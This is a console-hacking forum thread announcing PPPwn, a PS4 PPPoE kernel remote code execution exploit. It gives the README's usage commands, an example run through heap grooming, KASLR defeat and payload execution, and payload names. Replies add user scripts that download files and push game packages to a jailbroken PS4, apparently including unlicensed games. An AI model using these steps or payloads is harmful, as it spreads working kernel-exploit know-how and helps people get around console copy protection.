Interested in investing time and money into PSXHAX.COM? Read More and Contact Us for details!
Category PS4 Jailbreaking       Thread starter Thread starter PSXHAX       Date / timeStart date Apr 30, 2024 at 2:26 PM       Replies 488      
Status
Not open for further replies.
Today TheOfficialFloW aka theflow0 decided to publish PPPwn ahead of his Remote Vulnerabilities in SPP talk on CVE-2006-4304 (FreeBSD.org) at TyphoonCon 2024 next month, which is the first PlayStation 4 PPPoE (Point-to-Point Protocol over Ethernet) RCE (Remote Code Execution) Kernel Exploit supporting PS4 Firmware versions up to 11.00 OFW with @KIWIDOGGIE aka kd_tech_ passing along some 11.00 Offsets (Orbis110.hpp) that can help in reverse-engineering payloads crediting developer @Al Azif (fw_defines.h / payloads_1100_and_below.zip - 46.3 KB - includes ps4-app-dumper.bin, ps4-disable-updates.bin, ps4-fan-threshold.bin, ps4-ftp.bin, ps4-module-dumper.bin, ps4-permanent-uart.bin and ps4-todex.bin via @zecoxao aka notnotzecoxao) stage2.bin (11.2 KB) and additional payloads (module_dumper.bin - 10.7 KB, permanent_uart.bin - 6.84 KB, pup_decrypter.bin - 16.8 KB, update_blocker.bin - 5.48 KB - rename to payload.bin and put on USB) and Enable Debug Menu Settings and FPKG patches (stage2_10.00.bin - 10.9 KB, stage2_10.01.bin - 10.9 KB, stage2_11.00.bin - 10.9 KB - rename file to stage2.bin and put in the stage2 folder) via @LightningMods aka LightningMods_ with Pull Requests for Ports spanning 7.00, 7.01, 7.02, 7.50, 7.51, 7.55, 8.00, 8.01, 8.03, 8.50, 8.52, 9.00, 9.03, 9.04, 9.50, 9.51, 9.60, 10.00, 10.01, 10.50, 10.70, 10.71 and 11.00. :love:

While PS5 Firmware versions up to 8.20 OFW were confirmed as vulnerable to CVE-2006-4304 by theflow0 previously, according to @CrazyVoid on Twitter, "what flow released is for PS4. the PS5 is different then PS4, it might not be able to be exploited the same way" with @SpecterDev elaborating on Twitter, "Since I've seen a lot of ppl asking about it, theflow's latest RCE won't easily be adapted to PS5. PS4 is much weaker in terms of mitigations which played a part in allowing a remote exploit w/o userland code execution. PS5 is different. SMAP+CFI make this much harder to do."

He went on to state via Twitter, "XOM also plays a role, even if CFI were a non-issue, you can't easily get gadgets to ROP with either. It might not be impossible but a new strategy would be needed and you'd need to go for R/W. You'd also likely need userland code exec. I wouldn't expect anything soon.."

Download PPPwn PS4 Payloads and Variants:
Spoiler: Depreciated

:arrow: Additional PlayStation 4 Homebrew / Payload Updates for 11.00 PS4 Firmware:
Here's further details from the PPPwn README.md: PPPwn - PlayStation 4 PPPoE RCE

PPPwn is a kernel remote code execution exploit for PlayStation 4 upto FW 11.00. This is a proof-of-concept exploit for CVE-2006-4304 that was reported responsibly to PlayStation.

Supported versions are:
  • FW 7.00 / 7.01 / 7.02
  • FW 7.50 / 7.51 / 7.55
  • FW 8.00 / 8.01 / 8.03
  • FW 8.50 / 8.52
  • FW 9.00
  • FW 9.03 / 9.04
  • FW 9.50 / 9.51 / 9.60
  • FW 10.00 / 10.01
  • FW 10.50 / 10.70 / 10.71
  • FW 11.00
  • more can be added (PRs are welcome)
The exploit only prints PPPwned on your PS4 as a proof-of-concept. In order to launch Mira or similar homebrew enablers, the stage2.bin payload needs to be adapted.

Requirements
  • Computer with Ethernet port
    • USB adapter also works
  • Ethernet cable
  • Linux
    • You can use VirtualBox to create a Linux VM with Bridged Adapter as network adapter to use the ethernet port in the VM.
  • Python3 and gcc installed
Usage

On your computer, clone the repository:
Code:
git clone --recursive https://github.com/TheOfficialFloW/PPPwn
Change the directory to the cloned repository:
Code:
cd PPPwn
Install the requirements:
Code:
sudo pip install -r requirements.txt
Compile the payloads:
Code:
make -C stage1 FW=1100 clean && make -C stage1 FW=1100
make -C stage2 FW=1100 clean && make -C stage2 FW=1100
For other firmwares, e.g. FW 9.00, pass FW=900.

DO NOT RUN the exploit just yet (don't press Enter yet) but prepare this command on your prompt (see ifconfig for the correct interface):
Code:
sudo python3 pppwn.py --interface=enp0s3 --fw=1100
For other firmwares, e.g. FW 9.00, pass --fw=900.

On your PS4:
  • Go to Settings and then Network
  • Select Set Up Internet connection and choose Use a LAN Cable
  • Choose Custom setup and choose PPPoE for IP Address Settings
  • Enter anything for PPPoE User ID and PPPoE Pasword
  • Choose Automatic for DNS Settings and MTU Settings
  • Choose Do Not Use for Proxy Server
  • Now, simultaneously press the 'X' button on your controller on Test Internet Connection and 'Enter' on your keyboard (on the computer you have your Python script ready to run).
ALWAYS wait for the console to show the message "Cannot connect to network: (NW-31274-7)" before trying this PPPOE injection again.

If the exploit fails or the PS4 crashes, you can skip the internet setup and simply click on Test Internet Connection. Kill the pppwn.py script and run it again on your computer, and then click on Test Internet Connection on your PS4: always simultaneously.

If the exploit works, you should see an output similar to below, and you should see Cannot connect to network. followed by PPPwned printed on your PS4, or the other way around.

If the exploit works, you should see an output similar to below, and you should see Cannot connect to network. followed by PPPwned printed on your PS4.

Example run
Code:
[+] PPPwn - PlayStation 4 PPPoE RCE by theflow
[+] args: interface=enp0s3 fw=1100 stage1=stage1/stage1.bin stage2=stage2/stage2.bin

[+] STAGE 0: Initialization
[*] Waiting for PADI...
[+] pppoe_softc: 0xffffabd634beba00
[+] Target MAC: xx:xx:xx:xx:xx:xx
[+] Source MAC: 07:ba:be:34:d6:ab
[+] AC cookie length: 0x4e0
[*] Sending PADO...
[*] Waiting for PADR...
[*] Sending PADS...
[*] Waiting for LCP configure request...
[*] Sending LCP configure ACK...
[*] Sending LCP configure request...
[*] Waiting for LCP configure ACK...
[*] Waiting for IPCP configure request...
[*] Sending IPCP configure NAK...
[*] Waiting for IPCP configure request...
[*] Sending IPCP configure ACK...
[*] Sending IPCP configure request...
[*] Waiting for IPCP configure ACK...
[*] Waiting for interface to be ready...
[+] Target IPv6: fe80::2d9:d1ff:febc:83e4
[+] Heap grooming...done

[+] STAGE 1: Memory corruption
[+] Pinning to CPU 0...done
[*] Sending malicious LCP configure request...
[*] Waiting for LCP configure request...
[*] Sending LCP configure ACK...
[*] Sending LCP configure request...
[*] Waiting for LCP configure ACK...
[*] Waiting for IPCP configure request...
[*] Sending IPCP configure NAK...
[*] Waiting for IPCP configure request...
[*] Sending IPCP configure ACK...
[*] Sending IPCP configure request...
[*] Waiting for IPCP configure ACK...
[+] Scanning for corrupted object...found fe80::0fdf:4141:4141:4141

[+] STAGE 2: KASLR defeat
[*] Defeating KASLR...
[+] pppoe_softc_list: 0xffffffff884de578
[+] kaslr_offset: 0x3ffc000

[+] STAGE 3: Remote code execution
[*] Sending LCP terminate request...
[*] Waiting for PADI...
[+] pppoe_softc: 0xffffabd634beba00
[+] Target MAC: xx:xx:xx:xx:xx:xx
[+] Source MAC: 97:df:ea:86:ff:ff
[+] AC cookie length: 0x511
[*] Sending PADO...
[*] Waiting for PADR...
[*] Sending PADS...
[*] Triggering code execution...
[*] Waiting for stage1 to resume...
[*] Sending PADT...
[*] Waiting for PADI...
[+] pppoe_softc: 0xffffabd634be9200
[+] Target MAC: xx:xx:xx:xx:xx:xx
[+] AC cookie length: 0x0
[*] Sending PADO...
[*] Waiting for PADR...
[*] Sending PADS...
[*] Waiting for LCP configure request...
[*] Sending LCP configure ACK...
[*] Sending LCP configure request...
[*] Waiting for LCP configure ACK...
[*] Waiting for IPCP configure request...
[*] Sending IPCP configure NAK...
[*] Waiting for IPCP configure request...
[*] Sending IPCP configure ACK...
[*] Sending IPCP configure request...
[*] Waiting for IPCP configure ACK...

[+] STAGE 4: Arbitrary payload execution
[*] Sending stage2 payload...
[+] Done!
Notes for Mac Apple Silicon Users (arm64 / aarch64)

The code will not compile on Apple Silicon and requires amd64 architecture. There is a workaround using docker which will build the bin files required. Clone this repository to your mac system, then from the repo folder run ./build-macarm.sh. This will build the binaries for PS4 FW 1100 and place the necessary files into the correct folders.

To build the binaries for a different version, i.e. 900, run the command as such: ./build-macarm.sh 900. Once built, copy this folder structure into the Linux VM and execute as instructed above.This has been tested using VMware Fusion 13.5.1, with the VM Guest as Ubuntu 24.04, and the host machine is MacOS 14.4.1

Notes for GoldHEN version

This loader only supports payloads with a kernel entrypoint. The custom version of stage2 first looks for the payload in the root directory of the USB drive, and if found, it is copied to the internal HDD at this path: /data/GoldHEN/payloads/goldhen.bin. The internal payload is then loaded and is no longer needed on the external USB drive. At the moment, only firmware versions 9.00, 10.00, 10.01 and 11.00 are supported. Other versions like 9.60 will also be supported.

Reminder: All GoldHEN related issues, updates, etc go in the ongoing discussion topic for it:
Spoiler: Related Tweets, Videos, Opcode Offsets & ROPGadget Gadgets
PPPwn PlayStation 4 PPPoE RCE PS4 Kernel Exploit to 11.00 by TheOfficialFloW.jpg
 

Comments

Well, if you don't have a raspberry or a luckfox to automotically run the jailbreak then don't update it's not convenient.

Moreover from my experience jailbreaking on 11.00 takes more time than 9.00 and a usb stick is far cheaper than a raspberry :LOL:
 
Thanks to TheOfficialFloW, xfangfang, SiSTR0, Vortex, EchoStrech and stooged for making this even possible!

Here is my small contribution to the PPPwn gang. It’s just a couple shell scripts I use on my rPi to:

1) download files from the one file place (I threw them a couple euros so I can use an account to directly download links you will need to provide)
Code:
#!/bin/bash
MOUNT_POINT="/mnt/data"
WLOG=$MOUNT_POINT"/wget-log"
# Function to print usage and exit
usage() {
    echo "Usage: $0 <https-url>"
    exit 1
}

# Check if an argument has been passed
if [ -z "$1" ]; then
    usage
fi

# Validate that the argument is an HTTPS URL
if [[ ! "$1" =~ ^https:// ]]; then
    echo "Error: The argument must be an HTTPS URL."
    usage
fi

# Check if the thumb drive is mounted
if ! mount | grep -q "$MOUNT_POINT"; then
    echo "Error: The thumb drive is not mounted at $MOUNT_POINT."
    exit 1
fi

# Execute the wget command with the provided URL, saving the file to the root of the thumb drive
wget -c "$1" --method POST --no-check-certificate --auth-no-challenge --content-disposition -P "$MOUNT_POINT" -o $WLOG

echo "Download completed."

2) “upload” the resulting .pkg file to Remote Package Installer by triggering the RPI program running on your PS4 to pull the .pkg file from you Apache web server installed on your raspberry pi. It will also allow you to query stats annd progress and whatever else the API allows.

See here for API details from the original author of the API, flatz himself.
Code:
#!/bin/bash

# Default IP addresses and ports
DEFAULT_PS4_IP="192.168.2.2"
DEFAULT_LOCAL_IP="192.168.2.1"
DEFAULT_PS4_PORT="12800"  # Default port for Remote Package Installer
DEFAULT_LOCAL_PORT="8081"
DEFAULT_DIRECTORY="/data"  # Default directory

# Default values for task type and action
DEFAULT_TASK_TYPE="direct"
DEFAULT_ACTION="install"

# Initialize variables with default values
PS4_IP="$DEFAULT_PS4_IP"
LOCAL_IP="$DEFAULT_LOCAL_IP"
PS4_PORT="$DEFAULT_PS4_PORT"
LOCAL_PORT="$DEFAULT_LOCAL_PORT"
DIRECTORY="$DEFAULT_DIRECTORY"
TASK_TYPE="$DEFAULT_TASK_TYPE"
ACTION="$DEFAULT_ACTION"
FILE_URL=""

# Function to display usage
usage() {
    echo "Usage: $0 [options] [file]"
    echo
    echo "Options:"
    echo "  -h <PS4 IP>               IP address of the PS4 (default: $DEFAULT_PS4_IP)"
    echo "  -p <PS4 Port>             Port of the PS4 Remote Package Installer (default: $DEFAULT_PS4_PORT)"
    echo "  -l <Local IP>             Local IP address (default: $DEFAULT_LOCAL_IP)"
    echo "  -d <Local Port>           Local web server port (default: $DEFAULT_LOCAL_PORT)"
    echo "  -r <Directory>            Directory to serve files from (default: $DEFAULT_DIRECTORY)"
    echo "  -f <File URL>             URL of the file to install"
    echo "  -t <Task Type>            Task type for installation (direct|cdn, default: $DEFAULT_TASK_TYPE)"
    echo "  -i <Title ID>             Title ID for checking or uninstalling"
    echo "  -c <Content ID>           Content ID for uninstalling"
    echo "  -a <Action>               Action to perform (install|uninstall|check|task, default: $DEFAULT_ACTION)"
    echo "  -k <Task ID>              Task ID for task-related actions"
    echo "  -u <Manifest URL>         URL of the manifest for CDN installations"
    echo
    echo "Actions and Required Options:"
    echo "  Check if app exists: -a check -i <Title ID>"
    echo "  Install package:     -a install [-t <Task Type>] [-f <File URL> | -u <Manifest URL>] [file]"
    echo "  Uninstall game:      -a uninstall -t game -i <Title ID>"
    echo "  Uninstall patch:     -a uninstall -t patch -i <Title ID>"
    echo "  Uninstall content:   -a uninstall -t ac -c <Content ID>"
    echo "  Uninstall theme:     -a uninstall -t theme -c <Content ID>"
    echo "  Manage tasks:        -a task -t <start|stop|pause|resume|unregister|progress|find> -k <Task ID>"
    exit 1
}

# Parse command line arguments
while getopts "h:p:l:d:r:f:t:i:c:a:k:u:" opt; do
    case $opt in
        h) PS4_IP="$OPTARG" ;;
        p) PS4_PORT="$OPTARG" ;;
        l) LOCAL_IP="$OPTARG" ;;
        d) LOCAL_PORT="$OPTARG" ;;
        r) DIRECTORY="$OPTARG" ;;
        f) FILE_URL="$OPTARG" ;;
        t) TASK_TYPE="$OPTARG" ;;
        i) TITLE_ID="$OPTARG" ;;
        c) CONTENT_ID="$OPTARG" ;;
        a) ACTION="$OPTARG" ;;
        k) TASK_ID="$OPTARG" ;;
        u) MANIFEST_URL="$OPTARG" ;;
        *) usage ;;
    esac
done

# Shift off the options and optional --.
shift $((OPTIND - 1))

# Handle positional argument for file URL
if [[ -z "$FILE_URL" && -n "$1" ]]; then
    FILE_URL="$1"
fi

# Validate required arguments
if [[ -z "$FILE_URL" && "$ACTION" == "install" && "$TASK_TYPE" == "direct" ]]; then
    echo "File URL is required for direct install."
    usage
fi

# Remove trailing slash from DIRECTORY if present
DIRECTORY="${DIRECTORY%/}"

# Define API URL
API_URL="http://$PS4_IP:$PS4_PORT/api"

# Perform action based on the specified flag
case $ACTION in
    check)
        curl --data "{\"title_id\":\"$TITLE_ID\"}" "$API_URL/is_exists"
        ;;
    install)
        if [[ "$TASK_TYPE" == "direct" ]]; then
            curl -v "$API_URL/install" --data "{\"type\":\"direct\",\"packages\":[\"http://$LOCAL_IP:$LOCAL_PORT$DIRECTORY/$FILE_URL\"]}"
        elif [[ "$TASK_TYPE" == "cdn" ]]; then
            curl -v "$API_URL/install" --data "{\"type\":\"ref_pkg_url\",\"url\":\"$MANIFEST_URL\"}"
        fi
        ;;
    uninstall)
        if [[ "$TASK_TYPE" == "game" ]]; then
            curl -v "$API_URL/uninstall_game" --data "{\"title_id\":\"$TITLE_ID\"}"
        elif [[ "$TASK_TYPE" == "patch" ]]; then
            curl -v "$API_URL/uninstall_patch" --data "{\"title_id\":\"$TITLE_ID\"}"
        elif [[ "$TASK_TYPE" == "ac" ]]; then
            curl -v "$API_URL/uninstall_ac" --data "{\"content_id\":\"$CONTENT_ID\"}"
        elif [[ "$TASK_TYPE" == "theme" ]]; then
            curl -v "$API_URL/uninstall_theme" --data "{\"content_id\":\"$CONTENT_ID\"}"
        fi
        ;;
    task)
        case $TASK_TYPE in
            start)
                curl -v "$API_URL/start_task" --data "{\"task_id\":$TASK_ID}"
                ;;
            stop)
                curl -v "$API_URL/stop_task" --data "{\"task_id\":$TASK_ID}"
                ;;
            pause)
                curl -v "$API_URL/pause_task" --data "{\"task_id\":$TASK_ID}"
                ;;
            resume)
                curl -v "$API_URL/resume_task" --data "{\"task_id\":$TASK_ID}"
                ;;
            unregister)
                curl -v "$API_URL/unregister_task" --data "{\"task_id\":$TASK_ID}"
                ;;
            progress)
                curl -v "$API_URL/get_task_progress" --data "{\"task_id\":$TASK_ID}"
                ;;
            find)
                curl -v "$API_URL/find_task" --data "{\"content_id\":\"$CONTENT_ID\",\"sub_type\":$TASK_TYPE}"
                ;;
        esac
        ;;
    *)
        usage
        ;;
esac

Are these the best, most intuitive, code complete, error free, master hacker products? Not at all, but they work for me on my headless raspberry pi attached to my PS4 and they get the job done from a simple terminal on my phone. If you want a polished product use one of the Windows GUIs! They are much better.

Here they are in action:
Code:
wwiii@pppwn:/mnt/data $ fiecher https://1fichier.com/?idojREDACTEDaqj
^C
wwiii@pppwn:/mnt/data $ fiecher https://1fichier.com/?idojREDACTEDaqj
Download completed.
wwiii@pppwn:/mnt/data $

I did a CTRL-C to show that you can restart the process and it will start downloading where it left off. Great for unstable network/VPN/whathaveyou!

You will need an Apache server running on you Pi! I put mine on port 8081.

Here's a great place to start. I will not help you set up you web server... plenty of resources in the web for that.
Code:
wwiii@pppwn:/mnt/data $ rpi mmou_base.pkg
*   Trying 192.168.2.2:12800...
* Connected to 192.168.2.2 (192.168.2.2) port 12800 (#0)
> POST /api/install HTTP/1.1
> Host: 192.168.2.2:12800
> User-Agent: curl/7.88.1
> Accept: */*
> Content-Length: 75
> Content-Type: application/x-www-form-urlencoded
>
< HTTP/1.1 200 OK
< Content-Type: application/json
< Access-Control-Allow-Origin: *
< Connection: close
<
{ "status": "success", "task_id": 167, "title": "My Memory of Us" }
* Closing connection 0
wwiii@pppwn:/mnt/data $ rpi -a task -t progress -k 167
*   Trying 192.168.2.2:12800...
* Connected to 192.168.2.2 (192.168.2.2) port 12800 (#0)
> POST /api/get_task_progress HTTP/1.1
> Host: 192.168.2.2:12800
> User-Agent: curl/7.88.1
> Accept: */*
> Content-Length: 15
> Content-Type: application/x-www-form-urlencoded
>
< HTTP/1.1 200 OK
< Content-Type: application/json
< Access-Control-Allow-Origin: *
< Connection: close
<
{ "status": "success", "bits": 0x4234358A, "error": 0, "length": 0xF64E0000, "transferred": 0x11620000, "length_total": 0xF64E0000, "transferred_total": 0x11620000, "num_index": 1, "num_total": 1, "rest_sec": 1517, "rest_sec_total": 1517, "preparing_percent": 100, "local_copy_percent": 100 }
* Closing connection 0
wwiii@pppwn:/mnt/data $ rpi
File URL is required for direct install.
Usage: /usr/bin/rpi [options] [file]

Options:
  -h <PS4 IP>               IP address of the PS4 (default: 192.168.2.2)
  -p <PS4 Port>             Port of the PS4 Remote Package Installer (default: 12800)
  -l <Local IP>             Local IP address (default: 192.168.2.1)
  -d <Local Port>           Local web server port (default: 8081)
  -r <Directory>            Directory to serve files from (default: /data)
  -f <File URL>             URL of the file to install
  -t <Task Type>            Task type for installation (direct|cdn, default: direct)
  -i <Title ID>             Title ID for checking or uninstalling
  -c <Content ID>           Content ID for uninstalling
  -a <Action>               Action to perform (install|uninstall|check|task, default: install)
  -k <Task ID>              Task ID for task-related actions
  -u <Manifest URL>         URL of the manifest for CDN installations

Actions and Required Options:
  Check if app exists: -a check -i <Title ID>
  Install package:     -a install [-t <Task Type>] [-f <File URL> | -u <Manifest URL>] [file]
  Uninstall game:      -a uninstall -t game -i <Title ID>
  Uninstall patch:     -a uninstall -t patch -i <Title ID>
  Uninstall content:   -a uninstall -t ac -c <Content ID>
  Uninstall theme:     -a uninstall -t theme -c <Content ID>
  Manage tasks:        -a task -t <start|stop|pause|resume|unregister|progress|find> -k <Task ID>

You can queue up as many installs as the API will allow and then check on them individually via the same API. If you lose network connectivity your PS4 will retry automatically. Very helpful if your WiFi isn’t so great in your gaming area.
 
Well done! Waited for this for a long time. Few tips for those who get payload not found error, look up if your USB has a EFi partition and delete it with diskpart should fix it.
 
@PSXHAX much appreciated. I didn't want to break any forum rules so it’s just an example. In practice one simply replaces it with any real 1F link they’d like. At end of day it’s just a quick little script so I don’t have to remember command line flags.
 
Looks like I chose a good time to jump in, haha. Booted up my semi-dusty PS4 last night and found that half the games I had on it were locked out because of some account switching stuff and I didn't have a quick way to undo it all.

Figured I was never gonna go online again anyways so I took a peek at the state of Jailbreaks and, wouldn't you know it, all of a sudden my 10.01 console was in the clear. I'll have to look into the automatic RPi setup because keeping a laptop handy in case my kid disconnects the PS4 isn't ideal
 
Thank you for all your hard work on this. We hadn't used our PS4 for some time, and seem to have found that it was on FW11 at just the right time to jailbreak it!

Turns out it was trivial to do so using Pi-Pwn and an old Raspberry Pi 3B. Coming from a jailbroken PS3 (where the jailbreak is persistent), I thought that the temporary nature of the patch might be inconvenient; however, it's actually quite useful to be able to go between CFW and OFW.
 
Status
Not open for further replies.
Back
Top